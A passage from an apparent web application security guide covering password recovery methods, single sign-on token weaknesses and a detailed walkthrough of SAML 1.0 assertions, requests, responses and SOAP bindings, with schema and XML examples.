Highly automated Familiar, and very easy for the user to understand Attacks rely on compromising some part of the communications chain between server and user. Thus, targetting an attack against a particular individual requires some effort.

Disadvantages

Vulnerable at every point that the email could be intercepted. Users may not understand that by sharing their email account with family members, they are making passwords available and susceptible to opportunistic attacks. Once an attacker has access to any mailserver, they can methodically break the accounts of all users of that server. If the mailserver or gateway from which the recovery mails originate is compromised, it's game over for everybody.

Encrypted Email Recovery

A secure channel method, sending an email encrypted with some secret only known to the customer is possible. The obvious method is to have the user provide some public key at registration time, and send their recovery emails encrypted with that key.

Good Practices

If you are going to provide this, it must be optional. Most people do not have public keys. If encrypted email recovery is selected by the user, disable alternative methods of recovery All practices for good email recovery still apply here. Remember to provide mechanisms to cater for key expiration and revocation.

Advantages

Highly secure

Disadvantages

Not a good general solution, the PGP-using population of the world is infinitesimal. Key management remains one of those issues that always looks easy on paper, but tends to be much harder to implement.

Question and Answer

Another form of secondary authentication. When registering the account, the user records some personal information. To recover the password, the user must answer questions based on this personal information, either to a web

page, or over the phone to a representative. The questions and answers become a shared secret, a form of secondary password. Remember how we warn people not to base their passwords on their names, pets names or dates of birth? The security of this technique varies based on the choice of questions: the ease of an attacker guessing the questions, and the ease of researching the answers. It's amazing how many institutions believe that your date of birth and your mother's maiden name are sufficiently obscure to protect your bank account. One implementation would be to request the information that was supplied during registration, such as address, phone number and credit-card details. This sort of information may, however, be quite easy for an attacker to come across or socially engineer. Properly managed, this technique is more secure than e-mailing the password in the case of generalised or opportunistic attacks. However, due to its susceptibility to research, it is less secure against targetted attacks.

Good Practices

Have a large pool of questions, of which the user only has to answer a subset during signup/recovery. The more questions in the pool, the more research an attacker must do. On the other hand, having a set of 50 personal questions in the sign-up process will scare people away. Some systems allow the user to choose the questions as well. This is a bad idea, as users don't understand security, and will either make things too easy for an attacker to guess, or too hard for themselves to work out what the hell they were thinking, six months hence. If the process is not automated, and for some insane reason you have the original password on file, "What did you think the password was?" can be an effective question.

Advantages

Less susceptible to opportunistic attacks than mailed passwords. Still able to be automated, or performed by untrained employees following scripts and exercising next to no personal judgement.

Disadvantages

It's hard to come up with a good set of questions. The better the attacker knows the target, the less secure it is. Unless the questions got very personal, my brother could probably answer 90% of them for me. Users may consider personal questions to be an intrusion. The answers may not be easy to match automatically, leading to false rejections.

Callback

Another secure channel method. The user makes a request for a new password, and the recovery secret is sent to a phone or pager number supplied by the user during registration. This method can be combined with "Question and Answer" for a pretty effective recovery system. It mostly limits attacks to friends and family (who have access to the telephone and the personal information), and since the time of the call is logged and the attacker has to talk to the representative, it's easier to trace fraud. Proprietary systems exist that automate this process, adding secondary authentication via voice recognition.

Advantages

When combined with Question and Answer, this is probably the most secure method after encrypted email.

Disadvantages

Company bears the cost of phone calls, which might be difficult if you have international users. Resource-intensive if done manually.

Sending Out Passwords

In highly secure systems passwords should only be sent via a courier mechanism or reset with solid proof of identity. Processes such as requiring valid government ID to be presented to an account administrator are common.

In most systems sending the a temporary password to the user's email address on file is adequate. This password should be randomly generated and pre-expired. This temporary password allows the user to initially log in to a password-changing page.

Single Sign-On Across Multiple DNS Domains

With outsourcing, hosting and ASP models becoming more prevalent, facilitating a single sign-on experience to users is becoming more desirable. The Microsoft Passport and Project Liberty schemes will be discussed in future revisions of this document.

Many web applications have relied on SSL as providing sufficient authentication for two servers to communicate and exchange trusted user information to provide a single sign on experience. On the face of it this would appear sensible. SSL provides both authentication and protection of the data in transit.

However, poorly implemented schemes are often susceptible to man in the middle attacks. A common scenario is as follows:

The common problem here is that the designers typically rely on the fact that SSL will protect the payload in transit and assumes that it will not be modified. He of course forgets about the malicious user. If the token consists of a simple username then the attacker can intercept the HTTP 302 redirect in a Man-in-the-Middle attack, modify the username and send the new request. To do secure single sign-on the token must be protected outside of SSL. This would typically be done by using symmetric algorithms and with a pre-exchanged key and including a time-stamp in the token to prevent replay attacks.

Chapter 11. Authentication

Abraham Kang <abrahamkang@earthlink.net>
Andrew van der Stock van der Stock <ajv@greebo.net>

SAML

SAML stands for Security Assertions Markup Language. SAML provides an interoperable XML schema for exchanging authentication, authorization, and user attribute related information. It allows different security infrastructures and applications to shared authentication, authorization, and attribute related information. SAML is important because it is the first time that all of the major vendors (IBM, Microsoft, Oracle, Sun, BEA, SAP, etc.) have come together to support a single security standard.

SAML is made up of three parts. The first part is the SAML element schema, which represents authentication, authorization, and user attribute related information. The second part is the XML schema that defines the SAML protocol in which the authentication, authorization, and user attribute related information is requested and supplied. The third part represents the SAML profiles and bindings. A SAML profile describes the rules used to extract and embed SAML Assertions into a framework or protocol. SAML Bindings explain how SAML messages work with standard messaging or communication protocols. Although it is important to understand which elements go where and what each element represents it is import to first get the big picture. Lets look at the actual scenarios where SAML can be used.

SAML Usage Senarios

In order to understand the usage scenarios we will need to go over some vocabulary. Authorities are the sites or entities that hold user related information, or the sites the user has authenticated to. There are three types of Authorities: Attribute, Authentication, and Authorization. An Attribute authority could provide credit limit information. An Authentication authority would provide information on when a user was authenticated and by what means. An Authorization authority could vouch for different access rights that an authenticated user possesses.

SSO Pull Scenario

In this scenario the user has already authenticated to a Web site (Attribute and Authentication Authority) and is trying to access a partner site (Policy Decision Point and Policy Enforcement Point). All of the links to the partner site reference an inter-site transfer URL. When the user clicks the URL to the partner site, the source site receives the request (through the inter-site URL) and places an artifact in the HTTP 302 response or places an assertion in the HTML page returned. The user is then redirected to the destination siteÂ's artifact or assertion consumer URL. The destination verifies the artifact or assertion and returns the requested HTML resource.

Distributed Transaction Scenario

Basically a SOAP client authenticates to a SOAP service that participates within a set of loosely couple B2B Web Service Supply Chain Services. A supplier or buyer has to only setup their contractual agreements once and can seamlessly access all other member Web Service interfaces to buy and sell products. Within the supply chain consortium there is a centralized Authentication, Authorization, and Attribute Authority. All members initially login to this service and receive the associated Assertions to interact with other supply chain partners. Whenever a user wants to create a transaction with another partner they attach their assertion to the transaction request. The receiver then confirms the assertion with the centralized authority or verifies and accepts the assertion if the assertion is signed. After confirming the request a response is sent to the message initiator to confirm or deny the transaction.

A different spin of this is where the user authenticates to a site, which can make orders on behalf of the logged in user at another site. When a user needs to initiate a transaction at the partner site, the appropriate assertions are gen-

erated and sent to the other site on behalf of the user. The assertions are used to validate the user credentials, credit limits, and commit the transaction.

Now that you understand where SAML can be used, lets look at the core SAML elements that define the authentication, authorization, and user attribute related information.

SAML Assertions

The Assertion element represents the core container element within SAML. The Assertion element is the main element because is represents a statement of proof about a Subject. Assertions hold any number of three different "Statement" types. The "Statement" types (Authentication, Attribute, and AuthorizationDecision) correspond with the three different types of information that can be conveyed between an "Asserting" and "Relying" (RP) party. A "Relying" party requests authentication, authorization, and attribute related information from an "Asserting" party (AP). A "Relying" party relies on the assertions provided by the "Asserting" party to make authentication, authorization, and attribute related decisions. "Asserting" parties are also referred to as Authorities. The different types of information that can be passed between a RP and AP also categorize authorities. Authorities can be any combination of Authentication, Authorization, and Attribute Authorities.

A SAML Assertion is made up of required and optional elements and attributes. The mandatory attributes are:

- AssertionID -- The AssertionID must be a globally unique identifier with less than 2^-128 (2^-160 recommended) probability of creating duplicates for different Assertions.
- MajorVersion -- "1" for SAML 1.0
- MinorVersion -- "0" for SAML 1.0
- Issuer -- String that represents the issuer of the assertion (authority). This can be any string that is known to identify the Issuer of the Assertion.
- IssueInstant -- The date and time in UTC format when the assertion was created. UTC is sometimes called GMT. All time is relative to UTC (or GMT) and the format is "YYYY-MM-DDTHH:MM:SSZ". An example is "2003-01-04T14:36:04Z". T is the date time separator. Z stands for "Zulu" or GMT time zone.

The optional elements are:

1. Conditions:

   Give additional restrictions on determining the validity of an assertion. The attributes of the saml:Conditions element define the validity period using NotBefore and NotOnOrAfter attribute. If there is a saml:Conditions element with no sub elements or attributes then the assertion is valid without further investigation. If the saml:Conditions element has nested saml:Condition elements then the validity of the assertion is based on the folowing rules:

   a. If any saml:Condition or saml:AudienceRestrictionCondition element within the saml:Conditions element is invalid or if the current dateTime falls outside of the NotBefore or NotOnOrAfter attributes then the assertion is invalid.

   b. If any saml:Condition or saml:AudienceRestrictionCondition element within the saml:Conditions element cannot be verified as valid or invalid then the Assertion is Indeterminate.

   c. Only when all saml:Condition and/or saml:AudienceRestrictionCondition elements nested within the saml:Conditions element are valid is the Assertion valid.

2. Advice:

   Holds additional information that the issuer wishes to provide in the form of any number of saml:AssertionIDReference, saml:Assertion, and/or any valid and well formed XML element that’s namespace

resides outside the target namespace (<any namespace="##other" processContents="lax"/>).

3. Statement Type

   Any mix of one or more saml:Statement types (saml:Statement, saml:SubjectStatement, saml:AuthenticationStatement, saml:AuthorizationDecisionStatement, saml:AttributeStatement).

   a. The saml:Statement's type serves as a base type to extend from when you want to create your Statement types. The saml:Statement element does not define any nested elements or attributes and therefore have little practical value on its own. Here is the XML schema that describes this element:

```
<element name="Statement" type="saml:StatementAbstractType"/>
<complexType name="StatementAbstractType" abstract="true"/>
```

   b. The saml:SubjectStatement's type serves as a base type to extend from when you want to create your SubjectStatement types. The only difference between a saml:Statement and saml:SubjectStatement is that the saml:SubjectStatement has a nested saml:Subject element. Here is the XML Schema that describes this element:

```
<element name="SubjectStatement"
     type="saml:SubjectStatementAbstractType" />
<complexType name="SubjectStatementAbstractType" abstract="true">
<complexContent>
<extension base="saml:StatementAbstractType">
<sequence>
<element ref="saml:Subject" />
</sequence>
</extension>
</complexContent>
</complexType>
```

   c. The saml:AuthenticationStatement can be extended but it is typically used as-is. A saml:AuthenticationStatement asserts that a subject was authenticated using a specific method (Kerberos, password, X509 Cert, etc.) at a specific time. Here is a sample assertion with a saml:AuthenticationStatement:

```
<saml:Assertion ...>
<saml:AuthenticationStatement
   AuthenticationMethod="urn:oasis:names:tc:SAML:1.0:am:password"
   AuthenticationInstant="2003-12-03T10:02:00Z">
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress" NameQualifier="smithco.com">
joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
</saml:AuthenticationStatement>
</saml:Assertion>
```

   d. The saml:AttributeStatement can also be extended but it is typically used as-is. The saml:AttributeStatement asserts that a subject has a set of attributes (A,B,C,etc.) with associated values ("a","b","c",etc.). Here is an example:

```
<saml:Assertion ...>
<saml:AttributeStatement>
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress"
NameQualifer="smithco.com">joeuser@smithco.com
   </saml:NameIdentifier>
</saml:Subject>
<saml:Attribute AttributeName="Department"
AttributeNamespace="http://smithco.com">
   <saml:AttributeValue>
   Engineering
   </saml:AttributeValue>
</saml:Attribute>
<saml:Attribute
AttributeName="CreditLimit"
AttributeNamespace="http://smithco.com">
   <saml:AttributeValue>
      500.00
   </saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
```

e. The saml:AuthorizationDecisionStatement can also be extended but is typically used as-is. The saml:AuthorizationDecisionStatement asserts that a subject should be granted or denied access to a specific resource. Here is an example:

```
<saml:Assertion ...>
<saml:AuthorizationDecisionStatement
Decision="Permit"
Resource="http://jonesco.com/rpt_12345.htm">
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress"
NameQualifer="smithco.com">joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
<saml:Actions
<saml:Action Namespace=
"urn:oasis:names:tc:SAML:1.0:action:rwedc">Read
</saml:Action>
</saml:Actions>
</saml:AuthorizationStatement>
</saml:Assertion>
```

SAML Protocol

The SAML Protocol is pretty simple. A relying party makes a request and an asserting party (Authority) provides the response. The Relying Party sends a samlp:Request to the Asserting Party. If successful, the Asserting Party includes an Assertion in the samlp:Response. If unsuccessful, the Asserting Party does NOT return an Assertion and returns the status instead.

The samlp:Request

The samlp:Request element is extended from the samlp:RequestAbstractType. XML extension allows a target XML element which gets its type from a parent base type to add additional attributes or elements to a defined child type which extends the parent base type as long as the instance of the target XML element specifies the child type as a xsi:type attribute (That was a mouthful. Look at the "Extending SAML Elements" section for an example). The

samlp:RequestAbstractType looks like the following:

```
<complexType name="RequestAbstractType" abstract="true">
<sequence>
<element ref="samlp:RespondWith" minOccurs="0" maxOccurs="unbounded"/>
<element ref = "ds:Signature" minOccurs="0"/>
</sequence>
<attribute name="RequestID" type="saml:IDType" use="required"/>
<attribute name="MajorVersion" type="integer" use="required"/>
<attribute name="MinorVersion" type="integer" use="required"/>
<attribute name="IssueInstant" type="dateTime" use="required"/>
</complexType>
```

The samlp:Request inherits four mandatory attributes and two optional elements from the RequestAbstractType. The samlp:Request is defined as follows:

```
<element name="Request" type="samlp:RequestType"/>
<complexType name="RequestType">
<complexContent>
<extension base="samlp:RequestAbstractType">
<choice>
<element ref="samlp:Query"/>
<element ref="samlp:SubjectQuery"/>
<element ref="samlp:AuthenticationQuery"/>
<element ref="samlp:AttributeQuery"/>
<element ref="samlp:AuthorizationDecisionQuery"/>
<element ref="saml:AssertionIDReference" maxOccurs="unbounded"/>
<element ref="samlp:AssertionArtifact" maxOccurs="unbounded"/>
</choice>
</extension>
</complexContent>
</complexType>
```

So the samlp:Request has all of the attributes and elements of the samlp:RequestAbstractType and only adds a choice of the following elements: samlp:Query, samlp:SubjectQuery, samlp:AuthenticationQuery, samlp:AttributeQuery, samlp:AuthorizationDecisionQuery, saml:AssertionIDReference (one or more) or samlp:AssertionArtifact (one or more). Lets look at the attributes and sub-elements in more detail.

The samlp:Request contains four mandatory attributes:

- RequestID -- The RequestID must be a globally unique identifier with less than 2^-128 (2^-160 recommended) probability of creating duplicates for different Requests.
- MajorVersion -- "1" for SAML 1.0
- MinorVersion -- "0" for SAML 1.0
- IssueInstant -- The date and time in UTC format when the request was initiated. UTC is sometimes called GMT. All time is relative to UTC (or GMT) and the format is "YYYY-MM-DDTHH:MM:SSZ". An example is "2003-01-04T14:36:04Z". T is the date time separator. Z stands for "Zulu" or GMT time zone.

The samlp:Request also has optional sub-elements:

1. samlp:RespondWith

   This allows you specify what type of Statement you are requesting. The only requirement is that you specify QNames. A QName is an XML element that includes its namespace prefix. The format of a QName is prefix:elementName. If you do not specify anything you will get all Statements that are associated with the subject that you are verifying. You can specify one or more of these. Here is an example:

```
<RespondWith>saml:AttributeStatement</RespondWith>
<RespondWith>saml:AuthenticationStatement</RespondWith>
```

2. ds:Signature

   This element allows you to sign the request to verify that the request was generated by a specific signer. Please refer to the chapter on XML Signature to get the details of this element.

Finally the samlp:Request has to have a Query or Assertion pointer associated with it. The Query has to determine what type of Statement to return so it mimics the saml:Statement element's hierarchy. The Assertion pointer is a reference to an AssertionID or Artifact. Here are the seven different Query types:

1. samlp:Query

   The Query element has a similar structure to the saml:Statement. The Query element is based on an abstract type, is empty, and is primarily used as an XML extension point. Here is XML Schema definition:

```
<element name="Query" type="samlp:QueryAbstractType"/>
<complexType name="QueryAbstractType" abstract="true"/>
```

2. samlp:SubjectQuery

   The SubjectQuery element has a similar structure to the saml:SubjectStatement. The SubjectQuery's type serves as a base type to extend from when you want to create your SubjectQuery types. The only difference between a samlp:Query and samlp:SubjectQuery is the samlp:SubjectQuery has a nested saml:Subject element. Here is XML Schema definition:

```
<element name="SubjectQuery" type="samlp:SubjectQueryAbstractType"/>
<complexType name="SubjectQueryAbstractType" abstract="true">
<complexContent>
<extension base="samlp:QueryAbstractType">
<sequence>
<element ref="saml:Subject"/>
</sequence>
</extension>
</complexContent>
</complexType>
```

3. samlp:AuthenticationQuery

   The AuthenticationQuery can be extended but it is typically used as-is. A samlp:AuthenticationQuery asks for all the Authentication Assertions related to a specific subject that define previous authentication acts between the specified subject and the Authentication authority. It looks just like a samlp:SubjectQuery but adds an optional samlp:AuthenticationMethod element that is of type anyURI. The samlp:AuthenticationMethod element serves as a filter and will only retrieve saml:AuthenticationStatements with the noted AuthenticationMethod. The authentcation method can be one of the following values:

```
urn:oasis:names:tc:SAML:1.0:am:password          (password)
urn:ietf:rfc:1510                                (kerberos)
urn:ietf:rfc:2945                                (Secure Remote Password)
```

```
urn:oasis:names:tc:SAML:1.0:am:HardwareToken     (Hardware token)
urn:ietf:rfc:2246                                (SSL/TLS Cert Authentication)
urn:oasis:names:tc:SAML:1.0:am:X509-PKI          (X509 Public Key)
urn:oasis:names:tc:SAML:1.0:am:PGP               (PGP Public Key)
urn:oasis:names:tc:SAML:1.0:am:SPKI              (SPKI Public Key)
urn:oasis:names:tc:SAML:1.0:am:XKMS              (XKMS Public Key)
urn:ietf:rfc:3075                                (XML Digital Signature)
urn:oasis:names:tc:SAML:1.0:am:unspecified       (unspecified)
```

Here is XML Schema definition:

```
<element name="AuthenticationQuery" type="samlp:AuthenticationQueryType"/>
<complexType name="AuthenticationQueryType">
<complexContent>
<extension base="samlp:SubjectQueryAbstractType">
<attribute name="AuthenticationMethod" type="anyURI"/>
</extension>
</complexContent>
</complexType>
```

Here is an example of an authentication query:

```
<samlp:Request MajorVersion="1" MinorVersion="0"
RequestID="128.14.234.20.12345678"
IssueInstant="2001-12-03T10:02:00Z">
<samlp:RespondWith>saml:AuthenticationStatement
</samlp:RespondWith>
<ds:Signature>...</ds:Signature>
<samlp:AuthenticationQuery>
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress"
NameQualifier="smithco.com">
joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
</samlp:AuthenticationQuery>
</samlp:Request>
```

4. samlp:AttributeQuery

   The AttributeQuery can be extended but it is typically used as-is. A saml:AttributeQuery asks for the attributes related to a specific subject. It looks just like a samlp:SubjectQuery but adds an optional saml:AttributeDesignator element and an optional Resource attribute. The saml:AttributeDesignator acts as a filter in the same way the AuthenticationMethod worked. If no AttributeDesignator is mentioned then all attributes related to the subject are returned. The resource attribute allows you to tell the Attribute Authority that the attribute request is being made in response to a specific authorization decision relating to a resource. Here is the XML Schema:

```
<element name="AttributeQuery" type="samlp:AttributeQueryType"/>
<complexType name="AttributeQueryType">
<complexContent>
<extension base="samlp:SubjectQueryAbstractType">
<sequence>
<element ref="saml:AttributeDesignator"
minOccurs="0" maxOccurs="unbounded"/>
</sequence>
<attribute name="Resource" type="anyURI reference"
use="optional"/>
```

```
</extension>
</complexContent>
</complexType>
```

Just as a reminder here is the definition of saml:AttributeDesignator:

```
<element name="AttributeDesignator" type="saml:AttributeDesignatorType"/>
<complexType name="AttributeDesignatorType">
<attribute name="AttributeName" type="string" use="required"/>
<attribute name="AttributeNamespace" type="anyURI" use="required"/>
</complexType>
```

Here is an example of an AttributeQuery:

```
<samlp:Request...>
<samlp:AttributeQuery>
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress" NameQualifier="smithco.com">
joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
<saml:AttributeDesignator AttributeName="PaidStatus"
AttributeNamespace="http://smithco.com"/>
</samlp:AttributeQuery>
</samlp:Request>
```

5. samlp:AuthorizationDecisionQuery

   The AuthorizationDecisionQuery can be extended but it is typically used as-is. A saml:AuthorizationDecisionQuery asks if a subject can execute certain actions on a specific resource given some evidence. It looks just like a samlp:SubjectQuery but adds a required saml:Action element, an optional saml:Evidence element, and an optional Resource attribute. The saml:Action defines what the subject wants to do. The saml:Evidence defines the additional Assertions that the subject is providing to the Authorization Authority to help it make its decision. The resource is an URI which defines the object that the authorization query is related to. Lets take a closer look at each of these elements. The saml:Action is defined as follows:

```
<element name="Action" type="saml:ActionType"/>
<complexType name="ActionType">
<simpleContent>
<extension base="string">
<attribute name="Namespace" type="anyURI"/>
</extension>
</simpleContent>
</complexType>
```

SAML defines a set of Action Namespaces and their associated values. They are as follows:

```
Read/Write/Execute/Delete/Control
Namespace:              urn:oasis:names:tc:SAML:1.0: action:rwedc
Possible Values:        Read Write Execute Delete Control
Comments:               The values describe what you can do with the resource.

Read/Write/Execute/Delete/Control with Negation
Namespace:              urn:oasis:names:tc:SAML:1.0:action:rwedc-negation
```

```
Possible Values:        Read Write Execute Delete Control ~Read ~Write ~Execute
                        ~Delete ~Control
Comments:               The values describe what you can do with the resource.

Get/Head/Put/Post
Namespace:              urn:oasis:names:tc:SAML:1.0: action:ghpp
Possible Values:        GET HEAD PUT POST
Comments:               The values describe common HTTP operations that you could
                        execute on a URL resource.

UNIX File Permissions
Namespace:              urn:oasis:names:tc:SAML:1.0:action:unix
Possible Values:        4 digit number, XXXX, where X represents a decimal number
Comments:               The 4 digits represent extended user group world permissions.
                        So if extended is set to +2, sgid is set, if extended is set
                        to +4 suid is set. The rest of the digits follow the
                        standard rwx Unix values. 7 is read, write, and execute.
                        5 is read and execute, etc.
```

Here is an example AuthorizationDecisionQuery:

```
<samlp:Request ...>
<samlp:AuthorizationDecisionQuery
Resource="http://jonesco.com/rpt_12345.htm">
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress" NameQualifier="smithco.com">
joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
<saml:Actions Namespace="http://...">
<saml:Action Namespace="urn:oasis:names:tc:SAML:1.0:action:rwedc">Read
</saml:Action>
</saml:Actions>
<saml:Evidence>
<saml:Assertion>...</saml:Assertion>
</saml:Evidence>
</samlp:AuthorizationDecisionQuery>
</samlp:Request>
```

The last two elements define alternate methods of fetching assertions by presenting an artifact (samlp:AssertionArtifact) or by presenting an AssertionID (saml:AssertionIDReference). You could have one or more of the following elements.

1. saml:AssertionIDReference

   The saml:AssertionIDReference is of type IDType and basically points to an assertion that it is requesting. Here is an example:

   ```
   <saml:AssertionIDReference>128.14.234.20.12345678</saml:AssertionIDReference>
   ```

2. samlp:AssertionArtifact

   The samlp:AssertionArtifact is based on the xsi:type String. It holds an 8 byte Base 64 encoded string that indirectly points to an Assertion. Here is an example:

```
<saml:AssertionArtifact >128.14.234.20.12345678</saml:AssertionArtifact >
```

Once the request is received, the Authority has to send a response. Coincidentally, the element returned is samlp:Response.

The samlp:Response

The samlp:Response contains a set of assertions (if successful) or status code (when things go wrong). The samlp:Response, like the samlp:Request, extends an abstract type samlp:ResponseAbstractType. A samlp:Response can be signed to verify the sending party to the relying party. The samlp:ResonseAbstractType looks like the following:

```
<complexType name="ResponseAbstractType" abstract="true">
<sequence>
<element ref = "ds:Signature" minOccurs="0"/>
</sequence>
<attribute name="ResponseID" type="saml:IDType" use="required"/>
<attribute name="InResponseTo" type="saml:IDReferenceType" use="optional"/>
<attribute name="MajorVersion" type="integer" use="required"/>
<attribute name="MinorVersion" type="integer" use="required"/>
<attribute name="IssueInstant" type="dateTime" use="required"/>
<attribute name="Recipient" type="anyURI" use="optional"/>
</complexType>
```

The ResponseAbstractType defines an optional ds:Signature element which allows the Response to be signed. There are 4 required attributes and 2 optional attributes.

The 4 required attributes of the samlp:ResponseAbstractType are:

- ResponseID -- The ResponseID must be a globally unique identifier with less than 2^-128 (2^-160 recommended) probability of creating duplicates for different Requests.
- MajorVersion -- "1" for SAML 1.0
- MinorVersion -- "0" for SAML 1.0
- IssueInstant -- The date and time in UTC format when the assertion was created. UTC is sometimes called GMT. All time is relative to UTC (or GMT) and the format is "YYYY-MM-DDTHH:MM:SSZ". An example is "2003-01-04T14:36:04Z". T is the date time separator. Z stands for "Zulu" or GMT time zone.

The 2 required attributes of the samlp:ResponseAbstractType are:

1. InResponseTo

   This holds the RequestID of the samlp:Request that generated this samlp:Response.

2. Recipient

   A URI that represents a recipient or a resource managed by a recipient. This value if present must be verified by the recipient.

The samlp:Request extends the samlp:ResponseAbstractType by adding a required samlp:Status element and optional saml:Assertion element. If the Status is "success" the response includes an Assertion. If the Status is "failure" then the Response will NOT contain an assertion. Here is XML schema definition for samlp:Response:

```
<element name="Response" type="samlp:ResponseType"/>
<complexType name="ResponseType">
<complexContent>
<extension base="samlp:ResponseAbstractType">
<sequence>
<element ref="samlp:Status"/>
<element ref="saml:Assertion" minOccurs="0" maxOccurs="unbounded"/>
</sequence>
</extension>
</complexContent>
</complexType>
```

You should be familiar with saml:Assertion. The samlp:Status probably needs more explaining. The samlp:Status describes the result of the samlp:Request. The samlp:Status has the following XML Schema definition:

```
<element name="Status" type="samlp:StatusType"/>
<complexType name="StatusType">
<sequence>
<element ref="samlp:StatusCode"/>
<element ref="samlp:StatusMessage" minOccurs="0" maxOccurs="1"/>
<element ref="samlp:StatusDetail" minOccurs="0"/>
</sequence>
</complexType>
```

The samlp:Status has a complex structure where its sub-element, samlp:StatusCode, can have nested samlp:StatusCode elements. Each of the samlp:StatusCode elements has a single required Value attribute. Here is the XML Schema that describes the samlp:StatusCode element:

```
<element name="StatusCode" type="samlp:StatusCodeType"/>
<complexType name="StatusCodeType">
<sequence>
<element ref="samlp:StatusCode" minOccurs="0"/>
</sequence>
<attribute name="Value" type="QName" use="required"/>
</complexType>
```

The Value attribute of the top level samlp:StatusCode has to have one of the following values:

```
Success -- The request succeeded.
VersionMismatch -- The version was incorrect.
Requester -- There was an error at the requester.
Responder -- There was an error at the responder.
```

The second-level status codes can be one of the following:

```
RequestVersionTooHigh -- The request’s version is not supported by the responder
                         because it is too high.
RequestVersionTooLow --  The request’s version is not supported by the responder
                         because it is too low.
RequestVersionDeprecated -- The responder does not accept the version of the
                            protocol specified.
```

```
TooManyResponses -- The response could only return a subset of all the value elements.
RequestDenied -- The responder has elected not to respond due to an insecure environment
                 or protocol resonse.
ResourceNotRecognized -- The responder does not acknowledge the resource provided
                         because it is invalid or unrecognized.
```

All of the samlp:Status values above are Qnames (qualified names) in the urn:oasis:names:tc:SAML:1.0:protocol namespace. If you wanted to create your own samlp:Status values, they have to be in their own namespace and be fully qualified. Here is an example:

```
<StatusCode Value="myPrefix:TheServerIsOverwhelmed">
<StatusCode Value="myPrefix:TooManyConcurrentSSLRequests"/>
</StatusCode>
```

The samlp:StatusMessage serves as a generalized error description corresponding to the state of the top level samlp:Status. The samlp:StatusDetail allows you to provide any well formed XML that can be processed further by the Relying party.

Here is an example of a samlp:Response:

```
<samlp:Response MajorVersion="1" MinorVersion="0"
   ResponseID="128.14.234.20.90123456" InResponseTo="128.14.234.20.12345678"
   IssueInstant="2001-12-03T10:02:00Z" Recipient="...URI..."
   xmlns:samlp="urn:oasis:names:tc:SAML:1.0:protocol" >
<samlp:Status>
<samlp:StatusCode Value="samlp:Success" />
<samlp:StatusMessage>Some message</samlp:StatusMessage>
</samlp:Status>
<saml:Assertion MajorVersion="1" MinorVersion="0"
   AssertionID="128.9.167.32.12345678" Issuer="smithco.com">
<saml:Conditions NotBefore="2001-12-03T10:00:00Z"
   NotAfter="2001-12-03T10:05:00Z" />
<saml:AuthenticationStatement ...>
</saml:AuthenticationStatement>
</saml:Assertion>
</samlp:Response>
```

Bindings and Profiles

A binding defines how SAML Requests and Responses are mapped into a transport protocol for transport between a relying and asserting party. A profile defines how a framework or protocol can use SAML to make assertions about components or parts of that protocol or framework. SAML over SOAP is the only binding defined in the SAML spec. Although SOAP can be transferred over many transports, HTTP is the only required binding for SOAP. So SAML over SOAP over HTTP is a baseline.

SOAP is a XML based RPC (Remote Procedure Call) protocol. It is made up of three major XML elements: a root level Envelope element, a Header element that is a sub- element of Envelope, and a Body element that follows the Header element and is a sub- element of Envelope. Here is an example of how a SAML Request is passed over SOAP:

```
POST /SamlService HTTP/1.1 Host: www.example.com
Content-Type: text/xml
SOAPAction: http://www.oasis-open.org/committees/security
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<samlp:Request xmlns:samlp:="..." xmlns:saml="..." xmlns:ds="...">
```

```
<ds:Signature> ... </ds:Signature>
<samlp:AuthenticationQuery>
   ...
</samlp:AuthenticationQuery>
</samlp:Request>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

Here is how the SAML Response is returned within a SOAP Envelope:

```
HTTP/1.1 200 OK Content-Type: text/xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<samlp:Response xmlns:samlp="..." xmlns:saml="..." xmlns:ds="...">
<Status>
<StatusCodevalue="samlp:Success"/>
</Status>
<ds:Signature> ... </ds:Signature>
<saml:Assertion>
<saml:AuthenticationStatement>
...
</saml:AuthenticationStatement>
</saml:Assertion>
</samlp:Response>
</SOAP-Env:Body>
</SOAP-ENV:Envelope>
```

There are two browser profiles for single sign-on (SSO) defined in SAML: artifact and POST. The browser/artifact profile of SAML mandates the usage of a SAML artifact in the URL of the HTTP 302 (redirect) status. The browser/POST profile of SAML uses an HTML <FORM...> to pass assertions directly to a destination site.

An artifact is a pointer to an assertion. A SAML artifact is the base 64 encoding of the TypeCode and RemainingArtifact (B64(TypeCode RemainingArtifact)). The TypeCode is a 2 byte number in hex notation (example 0x0001). The TypeCode value determines the format of the RemainingArtificact. 0x0001 is the only mandated TypeCode and is associated with a RemainingArtifact with the following format:

```
RemainingArtifact := SourceID AssertionHandle
SourceID := 20-byte_sequence
AssertionHandle := 20-byte_sequence
```

The SourceID has to be unique among all possible source sites. The SourceID is similar to an IP address but you should not use an IP address or anything that can help an attacker infer your identity. The AssertionHandle can be any value that identifies an assertion but it MUST be infeasible to construct or guess the value of a valid assertion or any part of an assertion from the AssertionHandle. An artifact is used because most Web/application servers have limitations on URL length. Lets look at the SSO profile in more depth.

The Web browser SSO profile of SAML defines a scenario where an authenticated user from a source site wants to access a resource at a destination site without having to log in again. When the user wants to access the destination site he/she selects a link which references an inter-site transfer URL. The inter-site transfer URL is located on the source site and has a mandatory Target parameter in its query string. The value that the target equals (http://www.sourcesite.com/interSiteURL?Target=ebay_Auctions_Cars) is a logical key for a resource at the destination site. The Target is a name that the source site uses to reference the resource at the destination site. The source site uses the logical key to identify the URL to the Assertion consumer at the destination site as well as the destination site's name for that resource. If the artifact profile is being used, the source site returns a HTTP 302 status to the browser with a URL that points to the assertion consumer and a TARGET parameter which defines the name for the requested resource that the destination site uses. The destination site receives the artifact and then makes an out-of-band request to the source site's artifact consumer and receives an assertion from the source site. If the destination

